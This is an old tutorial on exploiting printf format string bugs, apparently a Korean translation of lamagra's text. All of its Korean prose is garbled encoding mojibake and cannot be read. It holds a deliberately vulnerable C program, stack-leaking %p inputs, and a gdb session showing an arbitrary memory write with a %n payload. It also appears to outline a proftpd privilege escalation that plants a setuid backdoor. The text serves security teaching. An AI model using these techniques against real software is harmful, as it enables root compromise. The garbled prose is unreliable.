Á¦¸ñ: Æ÷¸Ë ¹ö±×, Á¤ÀÇ, À¯·¡, »ç¿ë¹ý ÀúÀÚ: lamagra ¹ø¿ª: vangelis(http://www.wowhacker.org) /* ¹ø¿ª»óÀÇ ¹®Á¦°¡ ÀÖ´Ù¸é ¾÷±×·¹À̵åÇؼ­ º¸³»ÁÖ½Ã¸é °¨»çÇÏ°Ú½À´Ï´Ù. */ -------> Æ÷¸Ë ¹ö±×¶õ ¹«¾ùÀΰ¡ ÀÌ°ÍÀÇ °³³äÀº ¾ÆÁÖ ´Ü¼øÇÏ´Ù. *printf() ÇÔ¼ö(¿¹: printf(char *fmt,...))°¡ È£ÃâµÇ°í, fmtÀ» »ç¿ëÀÚ°¡ °ø±ÞÇÒ ¶§. »ç¿ëÀÚ´Â fmt¿¡ Æ÷¸Ë½ºÆ®¸µ %s %p %xÀ» ÀÔ·ÂÇÒ ¶§ *printf´Â Á¦°øµÈ µ¶¸³º¯¼ö·Î ±×°ÍµéÀ» ÀüȯÇÑ´Ù. ¹®Á¦´Â *printf()°¡ ¾îµð¿¡¼­ ±× µ¶¸³º¯¼ö°¡ ¸ØÃß´ÂÁö¸¦ ¾ËÁö ¸øÇÑ´Ù´Â °ÍÀÌ´Ù. »õ·Î¿î Æ÷¸Ë½ºÆ®¸µµéÀÌ Á¦°øµÉ ¶§ ±×°ÍÀº ½ºÅûóÀÇ ´ÙÀ½ °ÍÀ» Àд´Ù. ¿¹¸¦ Çϳª »ìÆ캸ÀÚ. <++> ptest.c #include blaat(char *fmt,...) { va_list va; int i; char *addr; va_start(va,fmt); printf("---| begin |---\n"); for(i = 0;i < 5;i++) { addr = va_arg(va,char *); printf("%p\n",addr); } printf("---| end |---\n"); va_end(va); } main(int argc,char **argv) { char buf[8]; char *prot = (char *)0x12345678; strncpy(buf,argv[1],8); blaat(argv[1]); printf(argv[1]); putchar('\n'); } <--> darkstar:/tmp/temp# gcc ptest.c -optest darkstar:/tmp/temp# ptest blaat ---| begin |--- 0x12345678 0x61616c62 0xbfff0074 0xbffffb24 0x804855e ---| end |--- blaat ´Ü¼øÇÑ µ¶¸³º¯¼ö°¡ blaat()·Î È£ÃâÇϱâ Àü¿¡ ½ºÅÃÀÇ ²À´ë±â¿¡ 5°¡Áö¸¦ ÇÁ¸°ÅÍÇϵµ·Ï ¸¸µç´Ù. ¿©·¯ºÐµéÀº 'prot'ÀÇ ³»¿ëÀÌÀÚ ¿ì¸®ÀÇ µ¶¸³º¯¼öÀÎ bufÀÇ ³»¿ëÀÎ 0x12345678À» º¼ ¼ö ÀÖ´Ù. printf()ÀÇ Ãâ·Â¹°Àº ´ÜÁö ¿ì¸®ÀÇ µ¶¸³º¯¼öÀÌ´Ù. ±×·¯¸é ±× µ¶¸³º¯¼ö¿¡ ¸î °¡Áö Æ÷¸Ë ½ºÆ®¸µÀ¸·Î ±×°ÍÀ» ´Ù½Ã ½ÇÇàÇغ¸ÀÚ. ÇÁ·Î±×·¥À» ´Ù¿î ½ÃÅ°Áö ¾Ê±â ¶§¹®¿¡ ¿©±â¼­ ³ª´Â %p¸¦ »ç¿ëÇß´Ù. darkstar:/tmp/temp# ptest AAAA%p ---| begin |--- 0x12345678 0x41414141 0xbf007025 0xbffffb24 0x804855e ---| end |--- AAAA0x12345678 Áö±Ý printf()ÀÇ Ãâ·Â¹°Àº ¾ÆÁÖ Èï¹Ì·Ó´Ù. ±×°ÍÀº 'A'¸¦ ³× ¹ø ÇÁ¸°ÅÍÇß°í, %p´Â ½ºÅÃÀÇ ²À´ë±â¿¡ ÀÖ´Â Áּҵ鿡 ÀÇÇØ ´ëüµÇ¾ú´Ù. ¿©·¯ºÐµéÀÌ ±× µ¶¸³º¯¼ö¿¡ ´õ ¸¹Àº %p¸¦ Ãß°¡ÇÒ ¶§ ¿©·¯ºÐµéÀº ½ºÅÃÀÇ ¸ðµç ´Ù¸¥ ¿ä¼ÒµéÀÌ ÇÁ¸°Å͵Ǵ °ÍÀ» º¸°ÔµÉ °ÍÀÌ´Ù. ------> ¾î¶»°Ô exploit Çϴ°¡? óÀ½ ÇؾßÇÒ °ÍÀº Æ÷¸Ë ½ºÆ®¸µÀÇ ´Ù¸¥ Á¾·ùµéÀ» È®ÀÎÇÏ´Â °ÍÀÌ´Ù. %c, %f, %d, %s, %p, %i, %n, etc %nÀº ¾Æ¸¶µµ °¡Àå Èï¹Ì·Î¿î °ÍÀε¥, ±×°ÍÀº ±×°ÍÀÇ µ¶¸³º¯¼ö¿¡ ÀÇÇØ ÁöÁ¤µÈ À§Ä¡¿¡ ÀμâµÇ´Â ¹ÙÀÌÆ®ÀÇ ¼ö¸¦ ¾´´Ù. °£´ÜÇÑ ¿¹: int q; printf("AAAA%n",&q); q = 4 after that ¿ì¸®ÀÇ ÀÌÀü Å×½ºÆ®¿¡¼­ º» °Íó·³ buf¿¡ º¹»çµÈ ¿ì¸®ÀÇ µ¶¸³º¯¼ö´Â ¿ª½Ã ½ºÅÃ»ó¿¡ ÀÖ´Ù. ¸¸¾à ¿ì¸®°¡ À¯È¿ÇÑ ÁÖ¼Ò·Î AAAA¸¦ ´ëüÇÏ°í, ±×·± ´ÙÀ½ %nÀ» »ç¿ëÇÏ¿© ±× ÁÖ¼Ò¿¡ ¾´´Ù¸é ¾î¶»°Ô µÉ±î? ¾Ë¾Æº¸ÀÚ. darkstar:/tmp/temp# gdb --exec=a.out --symbols=ptest GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-slackware-linux"... (gdb) r Starting program: /tmp/temp/a.out Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x8048090 in ___crt_dummy__ () (gdb) break *main+60 Breakpoint 1 at 0x804821c: file ptest.c, line 30. (gdb) break *main+65 Breakpoint 2 at 0x8048221: file ptest.c, line 30. (gdb) c Continuing. ---| begin |--- 0x12345678 0xbffffb10 0x6e257025 0xbffffb00 0x80480ee ---| end |--- Breakpoint 1, 0x804821c in main (argc=2, argv=0xbffffba0) at ptest.c:30 30 printf(argv[1]); (gdb) x/wx 0xbffffb10 0xbffffb10: 0x00000000 (gdb) c Continuing. Breakpoint 2, 0x8048221 in main (argc=2, argv=0xbffffba0) at ptest.c:30 30 printf(argv[1]); (gdb) x/wx 0xbffffb10 0xbffffb10: 0x0000000e (gdb) c Continuing. ??x12345678 Program exited with code 012. (gdb) q darkstar:/tmp/temp# a.outÀº ¿©·¯ºÐµéÀÌ º¼ ¼ö ÀÖ´Â °Íó·³ %p°¡ ù¹ø° ÁÖ¼Ò¿¡ ÇÁ¸°ÅÍÇÏ°í, %nÀº 0xbfffb10¿¡ ¾²´Â °Íó·³, µ¶¸³º¯¼ö·Î¼­ \x10\xfb\xff\xbf%p%n¿Í ÇÔ²² ptest¸¦ ½ÇÇàÇÑ ´Ü¼øÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. ¾ÆÁÖ ±ò²ûÇÏÁö ¾Ê´Â°¡? ÀÌ°ÍÀ¸·Î ¹«¾ùÀ» ÇÒ ¼ö Àִ°¡? ¿©·¯ºÐµéÀº ±× ÇÁ·Î±×·¥(PROT_WRITE ¿Í °°Àº .text·Î ¸ÊÇÎµÈ Áö¿ªÀ» Á¦¿ÜÇÏ°í) ³»ºÎÀÇ ¾î¶² °Íµµ µ¤¾î¾µ ¼ö ÀÖ´Ù. ÀÌ°ÍÀº ¸¹Àº °ÍÀ» ÀǹÌÇÒ ¼ö ÀÖ´Ù. ³ªÀÇ proftpd exploit¿¡¼­ ³ª´Â ÀúÀåµÈ uid¿Í mem¿¡¼­ configÀÇ ÀϺθ¦ ¼±ÅÃÇß´Ù. proftpd µ¥¸óÀº mem¿¡ ÀúÀåµÈ ¿¾ uid·Î º¯°æµÈ ÀÌÈÄ LIST, RETR, µîµî¿¡ ÀÖ´Â µ¥ÀÌÅÍ¿¬°áÀ» ¿ÀÇÂÇϱâ À§ÇÑ ·çÆ®±ÇÇÑÀ» Æ÷±âÇÑ´Ù. ÀϹÝÀûÀÎ ¾ÆÀ̵ð¾î´Â ±× uid¸¦ Á¦·Î·Î ¸¸µå´Â °ÍÀ̸ç, µ¥ÀÌÅÍ¿¬°áÀ» ¿ÀÇÂÇÏ°í, proftpd ³»ºÎ¿¡ ·çÆ®±ÇÇÑÀ» ºÎ¿©ÇÏ´Â °ÍÀÌ´Ù. ·ÎÄà ¿¢¼¼½ºÀÇ °æ¿ì ÀÌ°ÍÀº ÃæºÐÇϸç, ¿©·¯ºÐµéÀº ¹éµµ¾î¸¦ ¾÷·ÎµåÇÏ°í, CHMOD 4755((-rwsr-xr-x) proftpd´Â wuftpd¿Í´Â ´Þ¸® suidsgid Ç÷¡±×¸¦ Çã¿ëÇÑ´Ù. ÇÏÁö¸¸ À͸í Á¢±ÙÀÇ °æ¿ì ¿©·¯ºÐµéÀº ¼³Á¤ ¶§¹®¿¡ µð½ºÅ©¿¡ ¾µ ¼ö ¾ø´Ù. ÀÌ °æ¿ì¿¡ 'DenyAll' ¼³Á¤À» º¯Á¶ÇÑ´Ù. ÇؾßÇÒ ´Ù¸¥ °ÍµéÀº ¿¹¸¦ µé¾î ½ºÅÃÆ÷ÀÎÅÍÀÇ ¸¶Áö¸· ¹ÙÀÌÆ®¿Í ¸Þ¸ð¸®ÀÇ µ¥ÀÌÅ͸¦ º¯°æÇÏ´Â °Í µîÀÌ´Ù. »õ·Î¿î glibc ¹öÀü¿¡¼­ Èï¹Ì·Î¿î °ÍÀº ¿¹¸¦ µé¾î %d´Â ½ÉÁö¾î snprintf()¿Íµµ ÀÛµ¿ÇÑ´Ù´Â °ÍÀÌ´Ù.(±¸¹öÀü¿¡¼­´Â ´Ù¿îµÇ¾ú´Ù.) *- note -* "%.5d",5 outputs 00005 "%.200000d" outputs 200000 bytes *- note -* ÀÌ·± ÀåÁ¡À¸·Î ¿©·¯ºÐµéÀº , ÇÔ¼ö Æ÷ÀÎÅÍ, jmp_bufÀÇ etc µîÀ» ¹Ù²Ü ¼ö ÀÖ´Ù. ÀÌ ¸ðµç °ÍÀº ¾ÆÁÖ ÁÁÁö¸¸ °¡²ûÀº ¸Å¿ì Èûµé ¼ö ÀÖ´Ù. ¸î¸î Á¾·ùÀÇ »ç¿ëÀÚ Á¤ÀÇ ½ºÆ®¸µÀº ÇÔ¼ö°¡ È£ÃâµÉ ¶§ ½ºÅÃÀÇ ¾îµò°¡¿¡ ÀÖ¾î¾ß ÇÑ´Ù. ÀÌ°ÍÀº ½Ã°£°ú ½ºÅà ¿ªÃßÀûÀ» ¿äÇÑ´Ù. °¡²û ¿©·¯ºÐµéÀº ¹öÆÛ°¡ µµ´ÞÇϱâ Àü¿¡ ¸î °¡Áö ÇÔ¼ö·Î µÇµ¹¾Æ°¡¾ß ÇÑ´Ù. °á·Ð: ÀÌ Ãë¾àÁ¡Àº Å« ¹®Á¦À̸ç, °¡²ûÀº............. ÀÌ°ÍÀº Æ÷¸Ë ¹ö±×¿¡ ´ëÇÑ ÀÛÀº ¼Ò°³¸¦ °á·Ð Áþ´Â´Ù. ¸¸¾à ¿©·¯ºÐµéÀÌ ÀÌ·± Á¾·ùÀÇ ¹ö±×¸¦ °¡Áö°í ´õ ¸¹Àº °ÍÀ» Çغ¸°í ½Í´Ù¸é ptest ÇÁ·Î±×·¥À¸·Î Á»´õ ÀÛ¾÷À» Çغ¸¾Æ¶ó. ±×¸®°í bsd, ¸®´ª½º, À©µµ¿ìÁî »óÀÇ ftp ÇÁ·Î±×·¥À» ÀͽºÇ÷ÎÀÕÆÃÇغ¸µµ·Ï Çضó. ±×°ÍÀº QUOTE ¸í·É¿¡ ÀÌ·± Á¾·ùÀÇ Ãë¾àÁ¡À» °¡Áö°í ÀÖ´Ù. ÀÌ°ÍÀº Å« ¹®Á¦´Â ¾Æ´ÏÁö¸¸ ³î±â¿¡´Â ÁÁÀº °ÍÀÌ´Ù. ------> ³¡ http://lamagra.seKure.de